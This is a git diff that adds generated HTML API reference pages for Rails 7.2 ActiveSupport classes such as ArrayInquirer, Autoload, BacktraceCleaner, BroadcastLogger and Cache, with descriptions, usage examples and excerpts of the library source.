diff --git a/src/7.2/classes/ActiveSupport/ActionableError/NonActionable.html b/src/7.2/classes/ActiveSupport/ActionableError/NonActionable.html new file mode 100644 index 0000000000..787406a6be --- /dev/null +++ b/src/7.2/classes/ActiveSupport/ActionableError/NonActionable.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::ActionableError::NonActionable +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/ArrayInquirer.html b/src/7.2/classes/ActiveSupport/ArrayInquirer.html new file mode 100644 index 0000000000..6f8d38b3d8 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/ArrayInquirer.html @@ -0,0 +1,138 @@ +--- +title: ActiveSupport::ArrayInquirer +layout: default +--- +
+ +
+
+ +
+ +

Array Inquirer

+ +

Wrapping an array in an ArrayInquirer gives a friendlier way to check its string-like contents:

+ +
variants = ActiveSupport::ArrayInquirer.new([:phone, :tablet])
+
+variants.phone?    # => true
+variants.tablet?   # => true
+variants.desktop?  # => false
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + any?(*candidates) + +

+ + +
+

Passes each element of candidates collection to ArrayInquirer collection. The method returns true if any element from the ArrayInquirer collection is equal to the stringified or symbolized form of any element in the candidates collection.

+ +

If candidates collection is not given, method returns true.

+ +
variants = ActiveSupport::ArrayInquirer.new([:phone, :tablet])
+
+variants.any?                      # => true
+variants.any?(:phone, :tablet)     # => true
+variants.any?('phone', 'desktop')  # => true
+variants.any?(:desktop, :watch)    # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/array_inquirer.rb, line 27
+    def any?(*candidates)
+      if candidates.none?
+        super
+      else
+        candidates.any? do |candidate|
+          include?(candidate.to_sym) || include?(candidate.to_s)
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Autoload.html b/src/7.2/classes/ActiveSupport/Autoload.html new file mode 100644 index 0000000000..9f43696f4f --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Autoload.html @@ -0,0 +1,305 @@ +--- +title: ActiveSupport::Autoload +layout: default +--- +
+ +
+
+ +
+ +

Active Support Autoload

+ +

Autoload and eager load conveniences for your library.

+ +

This module allows you to define autoloads based on Rails conventions (i.e. no need to define the path it is automatically guessed based on the filename) and also define a set of constants that needs to be eager loaded:

+ +
module MyLib
+  extend ActiveSupport::Autoload
+
+  autoload :Model
+
+  eager_autoload do
+    autoload :Cache
+  end
+end
+
+ +

Then your library can be eager loaded by simply calling:

+ +
MyLib.eager_load!
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + autoload(const_name, path = @_at_path) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies/autoload.rb, line 30
+    def autoload(const_name, path = @_at_path)
+      unless path
+        full = [name, @_under_path, const_name.to_s].compact.join("::")
+        path = Inflector.underscore(full)
+      end
+
+      if @_eager_autoload
+        @_eagerloaded_constants ||= []
+        @_eagerloaded_constants << const_name
+      end
+
+      super const_name, path
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + autoload_at(path) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies/autoload.rb, line 51
+    def autoload_at(path)
+      @_at_path, old_path = path, @_at_path
+      yield
+    ensure
+      @_at_path = old_path
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + autoload_under(path) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies/autoload.rb, line 44
+    def autoload_under(path)
+      @_under_path, old_path = path, @_under_path
+      yield
+    ensure
+      @_under_path = old_path
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eager_autoload() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies/autoload.rb, line 58
+    def eager_autoload
+      old_eager, @_eager_autoload = @_eager_autoload, true
+      yield
+    ensure
+      @_eager_autoload = old_eager
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eager_load!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies/autoload.rb, line 65
+    def eager_load!
+      if @_eagerloaded_constants
+        @_eagerloaded_constants.each { |const_name| const_get(const_name) }
+        @_eagerloaded_constants = nil
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/BacktraceCleaner.html b/src/7.2/classes/ActiveSupport/BacktraceCleaner.html new file mode 100644 index 0000000000..d700fe519d --- /dev/null +++ b/src/7.2/classes/ActiveSupport/BacktraceCleaner.html @@ -0,0 +1,445 @@ +--- +title: ActiveSupport::BacktraceCleaner +layout: default +--- +
+ +
+
+ +
+ +

Backtrace Cleaner

+ +

Backtraces often include many lines that are not relevant for the context under review. This makes it hard to find the signal amongst the backtrace noise, and adds debugging time. With a BacktraceCleaner, filters and silencers are used to remove the noisy lines, so that only the most relevant lines remain.

+ +

Filters are used to modify lines of data, while silencers are used to remove lines entirely. The typical filter use case is to remove lengthy path information from the start of each line, and view file paths relevant to the app directory instead of the file system root. The typical silencer use case is to exclude the output of a noisy library from the backtrace, so that you can focus on the rest.

+ +
bc = ActiveSupport::BacktraceCleaner.new
+root = "#{Rails.root}/"
+bc.add_filter   { |line| line.start_with?(root) ? line.from(root.size) : line } # strip the Rails.root prefix
+bc.add_silencer { |line| /puma|rubygems/.match?(line) } # skip any lines from puma or rubygems
+bc.clean(exception.backtrace) # perform the cleanup
+
+ +

To reconfigure an existing BacktraceCleaner (like the default one in Rails) and show as much data as possible, you can always call BacktraceCleaner#remove_silencers!, which will restore the backtrace to a pristine state. If you need to reconfigure an existing BacktraceCleaner so that it does not filter or modify the paths of any lines of the backtrace, you can call BacktraceCleaner#remove_filters! These two methods will give you a completely untouched backtrace.

+ +

Inspired by the Quiet Backtrace gem by thoughtbot.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
FORMATTED_GEMS_PATTERN=/\A[^\/]+ \([\w.]+\) /
+ + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/backtrace_cleaner.rb, line 35
+    def initialize
+      @filters, @silencers = [], []
+      add_core_silencer
+      add_gem_filter
+      add_gem_silencer
+      add_stdlib_silencer
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add_filter(&block) + +

+ + +
+

Adds a filter from the block provided. Each line in the backtrace will be mapped against this filter.

+ +
# Will turn "/my/rails/root/app/models/person.rb" into "app/models/person.rb"
+root = "#{Rails.root}/"
+backtrace_cleaner.add_filter { |line| line.start_with?(root) ? line.from(root.size) : line }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/backtrace_cleaner.rb, line 83
+    def add_filter(&block)
+      @filters << block
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add_silencer(&block) + +

+ + +
+

Adds a silencer from the block provided. If the silencer returns true for a given line, it will be excluded from the clean backtrace.

+ +
# Will reject all lines that include the word "puma", like "/gems/puma/server.rb" or "/app/my_puma_server/rb"
+backtrace_cleaner.add_silencer { |line| /puma/.match?(line) }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/backtrace_cleaner.rb, line 92
+    def add_silencer(&block)
+      @silencers << block
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clean(backtrace, kind = :silent) + +

+ + +
+

Returns the backtrace after all filters and silencers have been run against it. Filters run first, then silencers.

+
+ + + +
+ Also aliased as: filter +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/backtrace_cleaner.rb, line 45
+    def clean(backtrace, kind = :silent)
+      filtered = filter_backtrace(backtrace)
+
+      case kind
+      when :silent
+        silence(filtered)
+      when :noise
+        noise(filtered)
+      else
+        filtered
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clean_frame(frame, kind = :silent) + +

+ + +
+

Returns the frame with all filters applied. returns nil if the frame was silenced.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/backtrace_cleaner.rb, line 61
+    def clean_frame(frame, kind = :silent)
+      frame = frame.to_s
+      @filters.each do |f|
+        frame = f.call(frame.to_s)
+      end
+
+      case kind
+      when :silent
+        frame unless @silencers.any? { |s| s.call(frame) }
+      when :noise
+        frame if @silencers.any? { |s| s.call(frame) }
+      else
+        frame
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + filter(backtrace, kind = :silent) + +

+ + +
+ +
+ + + + + +
+ Alias for: clean +
+ + + + +
+ +
+

+ + remove_filters!() + +

+ + +
+

Removes all filters, but leaves in the silencers. Useful if you suddenly need to see entire filepaths in the backtrace that you had already filtered out.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/backtrace_cleaner.rb, line 106
+    def remove_filters!
+      @filters = []
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_silencers!() + +

+ + +
+

Removes all silencers, but leaves in the filters. Useful if your context of debugging suddenly expands as you suspect a bug in one of the libraries you use.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/backtrace_cleaner.rb, line 99
+    def remove_silencers!
+      @silencers = []
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Benchmarkable.html b/src/7.2/classes/ActiveSupport/Benchmarkable.html new file mode 100644 index 0000000000..64348358e8 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Benchmarkable.html @@ -0,0 +1,138 @@ +--- +title: ActiveSupport::Benchmarkable +layout: default +--- +
+ +
+
+ +
+ +

Benchmarkable

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + benchmark(message = "Benchmarking", options = {}, &block) + +

+ + +
+

Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation. For example, let’s say you thought your file processing method was taking too long; you could wrap it in a benchmark block.

+ +
<% benchmark 'Process data files' do %>
+  <%= expensive_files_operation %>
+<% end %>
+
+ +

That would add something like β€œProcess data files (345.2ms)” to the log, which you can then use to compare timings when optimizing your code.

+ +

You may give an optional logger level (:debug, :info, :warn, :error) as the :level option. The default logger level value is :info.

+ +
<% benchmark 'Low-level files', level: :debug do %>
+  <%= lowlevel_files_operation %>
+<% end %>
+
+ +

Finally, you can pass true as the third argument to silence all log activity (other than the timing information) from inside the block. This is great for boiling down a noisy block to just a single statement that produces one log line:

+ +
<% benchmark 'Process data files', level: :info, silence: true do %>
+  <%= expensive_and_chatty_files_operation %>
+<% end %>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/benchmarkable.rb, line 38
+    def benchmark(message = "Benchmarking", options = {}, &block)
+      if logger
+        options.assert_valid_keys(:level, :silence)
+        options[:level] ||= :info
+
+        result = nil
+        ms = Benchmark.ms { result = options[:silence] ? logger.silence(&block) : yield }
+        logger.public_send(options[:level], "%s (%.1fms)" % [ message, ms ])
+        result
+      else
+        yield
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/BroadcastLogger.html b/src/7.2/classes/ActiveSupport/BroadcastLogger.html new file mode 100644 index 0000000000..d017d8b2b8 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/BroadcastLogger.html @@ -0,0 +1,1328 @@ +--- +title: ActiveSupport::BroadcastLogger +layout: default +--- +
+ +
+
+ +
+ +

Active Support Broadcast Logger

+ +

The Broadcast logger is a logger used to write messages to multiple IO. It is commonly used in development to display messages on STDOUT and also write them to a file (development.log). With the Broadcast logger, you can broadcast your logs to a unlimited number of sinks.

+ +

The BroadcastLogger acts as a standard logger and all methods you are used to are available. However, all the methods on this logger will propagate and be delegated to the other loggers that are part of the broadcast.

+ +

Broadcasting your logs.

+ +
stdout_logger = Logger.new(STDOUT)
+file_logger   = Logger.new("development.log")
+broadcast = BroadcastLogger.new(stdout_logger, file_logger)
+
+broadcast.info("Hello world!") # Writes the log to STDOUT and the development.log file.
+
+ +

Add a logger to the broadcast.

+ +
stdout_logger = Logger.new(STDOUT)
+broadcast = BroadcastLogger.new(stdout_logger)
+file_logger   = Logger.new("development.log")
+broadcast.broadcast_to(file_logger)
+
+broadcast.info("Hello world!") # Writes the log to STDOUT and the development.log file.
+
+ +

Modifying the log level for all broadcasted loggers.

+ +
stdout_logger = Logger.new(STDOUT)
+file_logger   = Logger.new("development.log")
+broadcast = BroadcastLogger.new(stdout_logger, file_logger)
+
+broadcast.level = Logger::FATAL # Modify the log level for the whole broadcast.
+
+ +

Stop broadcasting log to a sink.

+ +
stdout_logger = Logger.new(STDOUT)
+file_logger   = Logger.new("development.log")
+broadcast = BroadcastLogger.new(stdout_logger, file_logger)
+broadcast.info("Hello world!") # Writes the log to STDOUT and the development.log file.
+
+broadcast.stop_broadcasting_to(file_logger)
+broadcast.info("Hello world!") # Writes the log *only* to STDOUT.
+
+ +

At least one sink has to be part of the broadcast. Otherwise, your logs will not be written anywhere. For instance:

+ +
broadcast = BroadcastLogger.new
+broadcast.info("Hello world") # The log message will appear nowhere.
+
+ +

If you are adding a custom logger with custom methods to the broadcast, the β€˜BroadcastLogger` will proxy them and return the raw value, or an array of raw values, depending on how many loggers in the broadcasts responded to the method:

+ +
class MyLogger < ::Logger
+  def loggable?
+    true
+  end
+end
+
+logger = BroadcastLogger.new
+logger.loggable? # => A NoMethodError exception is raised because no loggers in the broadcasts could respond.
+
+logger.broadcast_to(MyLogger.new(STDOUT))
+logger.loggable? # => true
+logger.broadcast_to(MyLogger.new(STDOUT))
+puts logger.broadcasts # => [MyLogger, MyLogger]
+logger.loggable? # [true, true]
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + broadcasts

Returns all the logger that are part of this broadcast.

+ [R] + formatter
+ [RW] + progname
+ + + + +

Class Public methods

+ +
+

+ + new(*loggers) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 82
+    def initialize(*loggers)
+      @broadcasts = []
+      @progname = "Broadcast"
+
+      broadcast_to(*loggers)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + <<(message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 112
+    def <<(message)
+      dispatch { |logger| logger.<<(message) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add(...) + +

+ + +
+ +
+ + + +
+ Also aliased as: log +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 116
+    def add(...)
+      dispatch { |logger| logger.add(...) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + broadcast_to(*loggers) + +

+ + +
+

Add logger(s) to the broadcast.

+ +
broadcast_logger = ActiveSupport::BroadcastLogger.new
+broadcast_logger.broadcast_to(Logger.new(STDOUT), Logger.new(STDERR))
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 93
+    def broadcast_to(*loggers)
+      @broadcasts.concat(loggers)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + close() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 162
+    def close
+      dispatch { |logger| logger.close }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + debug(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 121
+    def debug(...)
+      dispatch { |logger| logger.debug(...) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + debug!() + +

+ + +
+

Sets the log level to Logger::DEBUG for the whole broadcast.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 173
+    def debug!
+      dispatch { |logger| logger.debug! }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + debug?() + +

+ + +
+

True if the log level allows entries with severity Logger::DEBUG to be written to at least one broadcast. False otherwise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 168
+    def debug?
+      @broadcasts.any? { |logger| logger.debug? }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + error(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 133
+    def error(...)
+      dispatch { |logger| logger.error(...) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + error!() + +

+ + +
+

Sets the log level to Logger::ERROR for the whole broadcast.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 206
+    def error!
+      dispatch { |logger| logger.error! }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + error?() + +

+ + +
+

True if the log level allows entries with severity Logger::ERROR to be written to at least one broadcast. False otherwise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 201
+    def error?
+      @broadcasts.any? { |logger| logger.error? }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fatal(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 137
+    def fatal(...)
+      dispatch { |logger| logger.fatal(...) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fatal!() + +

+ + +
+

Sets the log level to Logger::FATAL for the whole broadcast.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 217
+    def fatal!
+      dispatch { |logger| logger.fatal! }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fatal?() + +

+ + +
+

True if the log level allows entries with severity Logger::FATAL to be written to at least one broadcast. False otherwise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 212
+    def fatal?
+      @broadcasts.any? { |logger| logger.fatal? }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + formatter=(formatter) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 145
+    def formatter=(formatter)
+      dispatch { |logger| logger.formatter = formatter }
+
+      @formatter = formatter
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + info(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 125
+    def info(...)
+      dispatch { |logger| logger.info(...) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + info!() + +

+ + +
+

Sets the log level to Logger::INFO for the whole broadcast.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 184
+    def info!
+      dispatch { |logger| logger.info! }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + info?() + +

+ + +
+

True if the log level allows entries with severity Logger::INFO to be written to at least one broadcast. False otherwise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 179
+    def info?
+      @broadcasts.any? { |logger| logger.info? }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + initialize_copy(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 221
+    def initialize_copy(other)
+      @broadcasts = []
+      @progname = other.progname.dup
+      @formatter = other.formatter.dup
+
+      broadcast_to(*other.broadcasts.map(&:dup))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + level() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 108
+    def level
+      @broadcasts.map(&:level).min
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + level=(level) + +

+ + +
+ +
+ + + +
+ Also aliased as: sev_threshold= +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 151
+    def level=(level)
+      dispatch { |logger| logger.level = level }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + local_level=(level) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 156
+    def local_level=(level)
+      dispatch do |logger|
+        logger.local_level = level if logger.respond_to?(:local_level=)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + log(...) + +

+ + +
+ +
+ + + + + +
+ Alias for: add +
+ + + + +
+ +
+

+ + sev_threshold=(level) + +

+ + +
+ +
+ + + + + +
+ Alias for: level= +
+ + + + +
+ +
+

+ + stop_broadcasting_to(logger) + +

+ + +
+

Remove a logger from the broadcast. When a logger is removed, messages sent to the broadcast will no longer be written to its sink.

+ +
sink = Logger.new(STDOUT)
+broadcast_logger = ActiveSupport::BroadcastLogger.new
+
+broadcast_logger.stop_broadcasting_to(sink)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 104
+    def stop_broadcasting_to(logger)
+      @broadcasts.delete(logger)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unknown(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 141
+    def unknown(...)
+      dispatch { |logger| logger.unknown(...) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + warn(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 129
+    def warn(...)
+      dispatch { |logger| logger.warn(...) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + warn!() + +

+ + +
+

Sets the log level to Logger::WARN for the whole broadcast.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 195
+    def warn!
+      dispatch { |logger| logger.warn! }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + warn?() + +

+ + +
+

True if the log level allows entries with severity Logger::WARN to be written to at least one broadcast. False otherwise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/broadcast_logger.rb, line 190
+    def warn?
+      @broadcasts.any? { |logger| logger.warn? }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache.html b/src/7.2/classes/ActiveSupport/Cache.html new file mode 100644 index 0000000000..0819efceab --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache.html @@ -0,0 +1,329 @@ +--- +title: ActiveSupport::Cache +layout: default +--- +
+ +
+
+ +
+ +

See ActiveSupport::Cache::Store for documentation.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DEFAULT_COMPRESS_LIMIT=1.kilobyte
DeserializationError=Class.new(StandardError)
 

Raised by coders when the cache entry can’t be deserialized. This error is treated as a cache miss.

OPTION_ALIASES={ +expires_in: [:expire_in, :expired_in] +}.freeze
 

Mapping of canonical option names to aliases that a store will recognize.

UNIVERSAL_OPTIONS=[ +:coder, +:compress, +:compress_threshold, +:compressor, +:expire_in, +:expired_in, +:expires_in, +:namespace, +:race_condition_ttl, +:serializer, +:skip_nil, +]
 

These options mean something to all cache implementations. Individual cache implementations may support additional options.

+ + + + +

Attributes

+ + + + + + + + +
+ [RW] + format_version
+ + + + +

Class Public methods

+ +
+

+ + expand_cache_key(key, namespace = nil) + +

+ + +
+

Expands out the key argument into a key that can be used for the cache store. Optionally accepts a namespace, and all keys will be scoped within that namespace.

+ +

If the key argument provided is an array, or responds to to_a, then each of elements in the array will be turned into parameters/keys and concatenated into a single key. For example:

+ +
ActiveSupport::Cache.expand_cache_key([:foo, :bar])               # => "foo/bar"
+ActiveSupport::Cache.expand_cache_key([:foo, :bar], "namespace")  # => "namespace/foo/bar"
+
+ +

The key argument can also respond to cache_key or to_param.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 111
+      def expand_cache_key(key, namespace = nil)
+        expanded_cache_key = namespace ? +"#{namespace}/" : +""
+
+        if prefix = ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"]
+          expanded_cache_key << "#{prefix}/"
+        end
+
+        expanded_cache_key << retrieve_cache_key(key)
+        expanded_cache_key
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lookup_store(store = nil, *parameters) + +

+ + +
+

Creates a new Store object according to the given options.

+ +

If no arguments are passed to this method, then a new ActiveSupport::Cache::MemoryStore object will be returned.

+ +

If you pass a Symbol as the first argument, then a corresponding cache store class under the ActiveSupport::Cache namespace will be created. For example:

+ +
ActiveSupport::Cache.lookup_store(:memory_store)
+# => returns a new ActiveSupport::Cache::MemoryStore object
+
+ActiveSupport::Cache.lookup_store(:mem_cache_store)
+# => returns a new ActiveSupport::Cache::MemCacheStore object
+
+ +

Any additional arguments will be passed to the corresponding cache store class’s constructor:

+ +
ActiveSupport::Cache.lookup_store(:file_store, '/tmp/cache')
+# => same as: ActiveSupport::Cache::FileStore.new('/tmp/cache')
+
+ +

If the first argument is not a Symbol, then it will simply be returned:

+ +
ActiveSupport::Cache.lookup_store(MyOwnCacheStore.new)
+# => returns MyOwnCacheStore.new
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 85
+      def lookup_store(store = nil, *parameters)
+        case store
+        when Symbol
+          options = parameters.extract_options!
+          retrieve_store_class(store).new(*parameters, **options)
+        when Array
+          lookup_store(*store)
+        when nil
+          ActiveSupport::Cache::MemoryStore.new
+        else
+          store
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/Coder.html b/src/7.2/classes/ActiveSupport/Cache/Coder.html new file mode 100644 index 0000000000..42a6e41dcc --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/Coder.html @@ -0,0 +1,75 @@ +--- +title: ActiveSupport::Cache::Coder +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/Coder/LazyEntry.html b/src/7.2/classes/ActiveSupport/Cache/Coder/LazyEntry.html new file mode 100644 index 0000000000..5ca2fed5ce --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/Coder/LazyEntry.html @@ -0,0 +1,197 @@ +--- +title: ActiveSupport::Cache::Coder::LazyEntry +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(serializer, compressor, payload, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/coder.rb, line 99
+          def initialize(serializer, compressor, payload, **options)
+            super(payload, **options)
+            @serializer = serializer
+            @compressor = compressor
+            @resolved = false
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + mismatched?(version) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/coder.rb, line 114
+          def mismatched?(version)
+            super.tap { |mismatched| value if !mismatched }
+          rescue Cache::DeserializationError
+            true
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + value() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/coder.rb, line 106
+          def value
+            if !@resolved
+              @value = @serializer.load(@compressor ? @compressor.inflate(@value) : @value)
+              @resolved = true
+            end
+            @value
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
